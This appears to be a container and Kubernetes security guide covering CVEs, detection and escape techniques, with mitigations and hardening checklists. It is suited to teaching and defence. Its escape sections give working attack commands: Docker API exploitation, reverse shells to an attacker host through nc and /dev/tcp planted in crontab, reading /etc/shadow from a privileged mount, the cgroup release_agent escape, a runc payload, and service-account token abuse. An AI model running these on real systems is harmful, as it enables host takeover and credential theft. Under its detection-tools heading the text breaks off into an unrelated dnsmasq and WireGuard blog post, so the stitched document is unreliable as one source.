Linux Kernel Vulnerabilities

Since containers share the host kernel, kernel vulnerabilities directly affect container security:

• Kernel privilege escalation — Exploiting kernel bugs to elevate from a low-privilege container process to root on the host
• Container escape via kernel exploits — Examples include Dirty COW (CVE-2016-5195), Dirty Pipe (CVE-2022-0847)

Mitigations:

• Keep the host kernel patched
• Use seccomp profiles to limit syscall surface
• Deploy on immutable, hardened node images (e.g., Bottlerocket, Flatcar)

Container Runtime Vulnerabilities

• CVE-2019-5736 (runc) — An attacker can overwrite the host’s runc binary from inside a container, gaining root code execution on the host. Details at Unit42 - Palo Alto Networks

Mitigations:

• Keep container runtimes updated
• Use rootless containers where possible
• Consider kata containers or gVisor for stronger isolation

Misconfigurations

The most common and impactful attack surface in practice:

• Running containers as root or with --privileged
• Overly broad Linux Capabilities assignments
• Mounting sensitive host directories into containers
• Exposing the Docker socket inside containers
• Unauthenticated Docker Remote API

Container Environment Detection

Check the PID 1 Process Name

ps -p 1

Note: LXD/LXC instances may still show /sbin/init as PID 1 even inside a container.

Check for a Kernel Boot Path

KERNEL_PATH=$(cat /proc/cmdline | tr ' ' '\n' | awk -F '=' '/THIS/{print $2}')
test -e $KERNEL_PATH && echo "Not Sure" || echo "Container"

Inspect /proc/1/cgroup

cat /proc/1/cgroup

# Quick check:
cat /proc/1/cgroup | grep -qi docker && echo "Docker" || echo "Not Docker"

Check for .dockerenv

ls -la /.dockerenv

[[ -f /.dockerenv ]] && echo "Docker" || echo "Not Docker"

Additional Methods

# If symlink points to systemd, likely a host
sudo readlink /proc/1/exe

# Returns 'none' on bare metal, 'docker' or 'container-other' inside containers
systemd-detect-virt -c

# Check for container-specific environment variables
env | grep -i kubernetes
env | grep -i docker

Container Escape Techniques

Docker Escape via Misconfiguration

Unauthenticated Docker Remote API

Docker Swarm uses port 2375 by default. If this port is publicly reachable without authentication, an attacker can gain full control of the host.

Enumerate Running Containers

curl -s -X GET http://<docker_host>:2375/containers/json | python3 -m json.tool

Create an Exec Instance

curl -s -X POST \
  -H "Content-Type: application/json" \
  --data-binary '{
    "AttachStdin": true,
    "AttachStdout": true,
    "AttachStderr": true,
    "Cmd": ["cat", "/etc/passwd"],
    "DetachKeys": "ctrl-p,ctrl-q",
    "Privileged": true,
    "Tty": true
  }' \
  http://<docker_host>:2375/containers/<container_id>/exec

Start the Exec Instance

curl -s -X POST \
  -H 'Content-Type: application/json' \
  --data-binary '{"Detach": false, "Tty": false}' \
  http://<docker_host>:2375/exec/<exec_id>/start

Escalate to Host RCE via Crontab

import docker

client = docker.DockerClient(base_url='http://<target-ip>:2375/')
data = client.containers.run(
    'alpine:latest',
    r'''sh -c "echo '* * * * * /usr/bin/nc <attacker-ip> 4444 -e /bin/sh' >> /tmp/etc/crontabs/root"''',
    remove=True,
    volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}}
)

Reference exploit: vulhub/docker/unauthorized-rce

Using CDK

./cdk run docker-api-pwn http://127.0.0.1:2375 "touch /host/tmp/docker-api-pwn"

Defensive mitigations:

• Never expose the Docker API without mutual TLS authentication
• Use Unix socket (default) instead of TCP
• Block port 2375/2376 at the firewall
• Enable Docker Content Trust

High-Risk Docker Startup Parameters

--privileged Mode

# Start a privileged container (dangerous!)
sudo docker run -itd --privileged ubuntu:latest /bin/bash

Exploit path:

fdisk -l
mkdir /mnt/host && mount /dev/sda1 /mnt/host
cat /mnt/host/etc/shadow
echo "* * * * * root /bin/bash -i >& /dev/tcp/<ip>/4444 0>&1" >> /mnt/host/etc/crontab

Using CDK:

./cdk run mount-disk

Defensive mitigations: Never use --privileged in production. Enforce via admission controllers and Pod Security Standards (restricted).

--cap-add=SYS_ADMIN

Exploit — cgroup notify_on_release technique:

# Start the vulnerable container
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# Inside the container:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent

echo '#!/bin/sh' > /cmd
echo "id > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

cat /output

Defensive mitigations:

• Use --cap-drop=ALL and add back only what is needed
• Apply seccomp profiles to deny the mount syscall
• Use a restricted AppArmor profile
• Prefer cgroup v2 (harder to exploit this class of technique)

Dangerous Mount Scenarios

Image from Docker docs

Mounting the Host Root (/)

docker run -itd -v /:/host ubuntu:18.04 /bin/bash
chroot /host

Mounting the Docker Socket (/var/run/docker.sock)

docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu

# Inside: install Docker CLI, then:
docker run -it -v /:/host ubuntu:18.04 chroot /host bash

Using CDK:

./cdk run docker-sock-pwn /var/run/docker.sock "touch /host/tmp/pwn-success"

Mounting procfs

docker run -v /root/cdk:/cdk -v /proc:/mnt/host_proc --rm -it ubuntu bash
./cdk run mount-procfs /mnt/host_proc "touch /tmp/exp-success"

Mounting cgroupfs

./cdk run mount-cgroup "<shell-cmd>"

Defensive mitigations: Audit all volume mounts. Use read-only where possible (:ro). Apply OPA/Gatekeeper policies to block high-risk mounts.

CVE-Based Container Escapes

CVE-2019-5736 — runc Container Escape

# Modify payload in main.go
# payload = "#!/bin/bash\nbash -i >& /dev/tcp/<attacker-ip>/4444 0>&1"

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
docker cp ./main <container_id>:/payload
nc -lvnp 4444

Mitigations: Update Docker >= 18.09.2 / runc >= 1.0-rc6. Use rootless containers or gVisor.

CVE-2019-14271 — Docker cp libnss Hijack

docker cp spawns docker-tar, which dynamically loads libnss.so. An attacker can replace these libraries inside a container; when a privileged user copies files, the malicious library executes as root on the host.

Reference: CVE-2019-14271 writeup

Mitigations: Upgrade Docker. Avoid copying files from untrusted containers.

CVE-2019-13139 — Docker Build Code Execution

Specially crafted Dockerfile arguments could achieve code execution on the host during docker build.

Mitigations: Upgrade Docker. Never build Dockerfiles from untrusted sources.

CVE-2016-5195 — Dirty COW Kernel Privilege Escalation

A race condition in the Linux kernel’s copy-on-write mechanism allows an unprivileged process to gain write access to read-only memory mappings — exploitable inside containers since host and container share the kernel.

git clone https://github.com/gebl/dirtycow-docker-vdso.git
./cdk run dirty-cow

Mitigations: Patch host kernel (fixed in Linux >= 4.8.3). Apply seccomp to restrict relevant syscalls.

Kubernetes Security

Detecting a K8s Environment

env | grep KUBERNETES_SERVICE_HOST
ls /run/secrets/kubernetes.io/serviceaccount/
cat /run/secrets/kubernetes.io/serviceaccount/token

Kubernetes Dashboard Setup (Reference)

kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.2.0/aio/deploy/recommended.yaml
kubectl proxy
# http://localhost:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/

Create an admin service account:

# dashboard-adminuser.yaml
apiVersion: v1
kind: ServiceAccount
metadata:
  name: admin-user
  namespace: kube-system
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: admin-user
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: ServiceAccount
  name: admin-user
  namespace: kube-system

kubectl apply -f dashboard-adminuser.yaml
kubectl -n kube-system describe secret \
  $(kubectl -n kube-system get secret | grep admin-user | awk '{print $1}')

CVE-2020-8558 — kube-proxy Localhost Boundary Bypass

An attacker on the same LAN as a Kubernetes node can reach services bound only to 127.0.0.1 on that node, breaking intended localhost isolation.

Image from Alcide

lsof +c 15 -P -n -i 4TCP@127.0.0.1 -sTCP:LISTEN
lsof +c 15 -P -n -i 4UDP@127.0.0.1

Mitigations: Upgrade Kubernetes to >= 1.18.4 / 1.17.7 / 1.16.11. Apply Network Policies.

K8s API Server

# Test for anonymous access
curl -k https://<api-server>:6443/api/v1/namespaces

# Evaluate with CDK
cdk evaluate

Reference: CDK Wiki — Evaluate K8s API Server

Mitigations: --anonymous-auth=false. Enforce RBAC. Restrict API server to trusted CIDRs. Enable audit logging.

K8s Service Account Token Abuse

TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)
curl -s -H "Authorization: Bearer $TOKEN" \
  -k https://kubernetes.default.svc/api/v1/namespaces/default/pods

Mitigations:

• Least-privilege RBAC on all service accounts
• automountServiceAccountToken: false on pods that don’t need API access
• Use Bound Service Account Tokens (time-limited, audience-restricted)
• Audit permissions with kubectl-who-can or rbac-police

CDK Quick Reference

docker cp ./cdk_linux_amd64 <container_id>:/root/cdk
chmod 777 /root/cdk

./cdk evaluate        # Gather info, find weaknesses
./cdk run --list      # List all available exploits
./cdk run <name>      # Run a specific exploit

CDK GitHub Repository

Defensive Best Practices

Container Hardening Checklist

• Use minimal base images (distroless, Alpine, scratch)
• Run containers as a non-root user (USER 1000)
• Set a read-only root filesystem (--read-only)
• Drop all capabilities and add back only what is needed (--cap-drop=ALL)
• Never use --privileged in production
• Never mount the Docker socket into containers
• Scan images for CVEs before pushing and deploying
• Sign images and enforce signature verification
• Set CPU and memory limits on all containers
• Keep base images and container runtimes patched

Kubernetes Hardening Checklist

• Enable and enforce RBAC — deny all by default
• Apply Pod Security Standards (restricted profile)
• Use Network Policies to segment pod communication
• Disable anonymous API server authentication
• Rotate and scope Service Account tokens
• Enable Kubernetes audit logging → SIEM
• Use admission controllers (OPA Gatekeeper, Kyverno)
• Run runtime security tools (Falco, Tetragon)
• Keep all Kubernetes components patched
• Encrypt etcd at rest

Monitoring and Detection Tools

Photo by Caleb Russell on Unsplash.

TL;DR: Running dnsmasq on a WireGuard hub caches DNS results for all connected peers, reducing latency and upstream load — but getting it to play nicely with Ubuntu’s resolvconf integration requires a non-obvious fix.

Background

When building a WireGuard hub on Ubuntu 20.04, I wanted to improve DNS performance by adding a local caching resolver. The idea: instead of every peer’s DNS query going straight to an upstream server, the hub itself runs dnsmasq to cache responses — speeding up repeat lookups across all connected clients.

The catch is that Ubuntu (since 12.04) no longer installs dnsmasq by default. It relies on systemd-resolved to manage DNS resolution. On a server, I prefer to sidestep this entirely: read the upstream DNS addresses from the VPS or cloud provider’s network config, stop systemd-resolved, and let dnsmasq take full control.

Architecture

The goal is to run dnsmasq exclusively on the WireGuard interface (wg0) — caching and forwarding DNS for VPN peers without touching the host’s own resolution:

VPN Peer  →  wg0 (192.168.14.11)  →  dnsmasq cache  →  Upstream DNS (192.168.15.1)

dnsmasq Configuration

The config is intentionally minimal and scoped to wg0 only:

# /etc/dnsmasq.conf

# Do not read upstream servers from /etc/resolv.conf
no-resolv

# Do not use /etc/hosts for name resolution
no-hosts

# Cache up to 10,000 DNS records in memory
cache-size=10000

# Query upstreams in order, not in parallel
strict-order

# Upstream DNS server
server=192.168.15.1

# Bind only to the WireGuard interface address
listen-address=192.168.14.11

# Bind strictly to listed interfaces only
bind-interfaces
interface=wg0
except-interface=lo

Note: bind-interfaces is used instead of bind-dynamic to strictly restrict dnsmasq to wg0. Combined with no-resolv and no-hosts, dnsmasq becomes a pure forwarding cache for WireGuard peers — it has no visibility into the host’s local DNS.

The Problem: resolv.conf Gets Hijacked

After starting dnsmasq, a strange symptom appeared: local DNS resolution on the host broke entirely.

Inspecting /etc/resolv.conf revealed the cause:

Something was rewriting resolv.conf to point at 127.0.0.1 even though dnsmasq was only bound to 192.168.14.11 on wg0.

Tracing the Root Cause

The culprit is a resolvconf integration script at /etc/resolvconf/update.d/dnsmasq. It cannot be removed (system integrity), and it provides no configuration option to disable itself. The solution has to come from elsewhere.

Looking at the dnsmasq init script at /etc/init.d/dnsmasq, there’s a start_resolvconf() function that runs on every start:

start_resolvconf() {
    # If "lo" is listed in DNSMASQ_EXCEPT, exit early — skip resolvconf.
    # This is the only clean exit point we can use.
    for interface in $DNSMASQ_EXCEPT; do
        [ $interface = lo ] && return
    done

    # Also skipped if DNS is fully disabled (port=0) — not useful here.
    if grep -qs '^port=0' /etc/dnsmasq.conf; then
        return
    fi

    # This line rewrites /etc/resolv.conf to nameserver 127.0.0.1
    if [ -x /sbin/resolvconf ] ; then
        echo "nameserver 127.0.0.1" | /sbin/resolvconf -a lo.$NAME
    fi
    return 0
}

There is exactly one early-exit path: if $DNSMASQ_EXCEPT contains lo, the function returns before touching resolvconf. The port=0 branch isn’t usable — we need DNS enabled. That for loop is our only lever.

The Fix

Set DNSMASQ_EXCEPT=lo in /etc/default/dnsmasq. This satisfies the early-return condition in start_resolvconf() and prevents any rewrite of /etc/resolv.conf.

Important: IGNORE_RESOLVCONF=yes also exists in the init script, but setting it alone is not sufficient to prevent the resolvconf rewrite in the current Ubuntu init logic. Both variables are needed together.

Since dnsmasq is started and stopped via WireGuard’s PostUp/PreDown hooks, the /etc/default/dnsmasq file is written dynamically by the startup script:

#!/bin/bash
# /etc/wireguard/scripts/wg0-postup.sh

# Write /etc/default/dnsmasq before starting.
# DNSMASQ_EXCEPT=lo triggers the early-exit in start_resolvconf(),
# preventing resolvconf from rewriting /etc/resolv.conf.
# IGNORE_RESOLVCONF=yes is an additional guard; neither alone is enough.
echo "IGNORE_RESOLVCONF=yes" >  /etc/default/dnsmasq
echo "DNSMASQ_EXCEPT=lo"     >> /etc/default/dnsmasq

# Start dnsmasq — binds to wg0 (192.168.14.11) only
/etc/init.d/dnsmasq start

exit 0

With this in place:

• dnsmasq binds exclusively to wg0 and caches up to 10,000 records
• DNS queries from VPN peers are served from cache or forwarded to 192.168.15.1
• The host’s /etc/resolv.conf is left completely untouched

Update — August 7, 2021

Jordan Whited published a post on WireGuard Endpoint Discovery and NAT Traversal using DNS-SD. In the Doubling Down on WireGuard section, he proposes using SRV records to expose WireGuard peer information via DNS Service Discovery.

The approach uses CoreDNS — a plugin-based DNS server written in Go — with a custom plugin that answers DNS-SD queries with WireGuard peer metadata. This is a compelling alternative architecture for dynamic peer discovery, eliminating the need for a central controller in mesh topologies where peers need to find each other’s endpoints automatically.

Based on the original write-up at sskaje.me.

Photo by Ferhat Deniz Fors on Unsplash.